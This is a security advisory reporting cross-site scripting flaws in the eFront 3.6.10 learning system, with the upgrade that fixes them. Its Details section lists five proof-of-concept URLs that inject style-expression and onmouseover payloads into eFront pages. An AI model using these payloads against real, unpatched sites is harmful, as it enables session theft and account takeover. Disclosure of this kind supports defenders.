Information
---------------------------------
Name :  XSS Vulnerabilities in eFront
Software :  eFront 3.6.10 build 11944 and possibly below.
Vendor Homepage :  https://efrontlearning.net/
Vulnerability Type :  Cross-Site Scripting
Severity :  High
Researcher :  Canberk Bolat
Advisory Reference :  NS-11-007

Description
---------------------------------
eFront is a modern learning system, bundled with key enterprise
functionality ranging from skill-gap analysis and branch management to
tailor-made reports. We have worked with hundreds of organizations to
shape a product that is easy-to-use, feature rich and especially
suited for medium enterprises.

Details
---------------------------------
eFront is affected by XSS vulnerabilities in version 3.6.10 build 11944.
Example PoC urls are as follows :

    https://example.com/administrator.php?ctg=%22%20stYle=%22x:expre/**/ssion(alert(9))%20&user=admin&op=dashboard
    https://example.com/administrator.php?ctg=personal&user='%20stYle=x:expre/**/ssion(alert(9))%20ns='%20&op=dashboard
    https://example.com/administrator.php?ctg=calendar&view_calendar=%22%20stYle=x:expre/**/ssion(alert(9))%20ns=%22
    https://example.com/index.php?ctg=lesson_info&lessons_ID=2&course='%20stYle='x:expre/**/ssion(alert(9))
    https://example.com/index.php/%22%20onmouseover=%22alert(netsparker(9))

You can read the full article about Cross-Site Scripting
vulnerabilities from here :
https://www.mavitunasecurity.com/crosssite-scripting-xss/

Solution
---------------------------------
Upgrade to the latest eFront version (3.6.10 build 12151).

Credits
---------------------------------
It has been discovered on testing of Netsparker, Web Application
Security Scanner - https://www.mavitunasecurity.com/netsparker/.

References
---------------------------------
Vendor Url : https://forum.efrontlearning.net/viewtopic.php?f=15&t=3501
Netsparker Advisories : https://www.mavitunasecurity.com/netsparker-advisories/
MSL Advisory Link : https://www.mavitunasecurity.com/XSS-Vulnerability-in-eFront/

About Netsparker
---------------------------------
Netsparker® can find and report security issues such as SQL Injection
and Cross-site Scripting (XSS) in all web applications regardless of
the platform and the technology they are built on. Netsparker's unique
detection and exploitation techniques allows it to be dead accurate in
reporting hence it's the first and the only False Positive Free web
application security scanner.

-- 
Netsparker Advisories, <advisories@mavitunasecurity.com>
Homepage, https://www.mavitunasecurity.com/netsparker-advisories/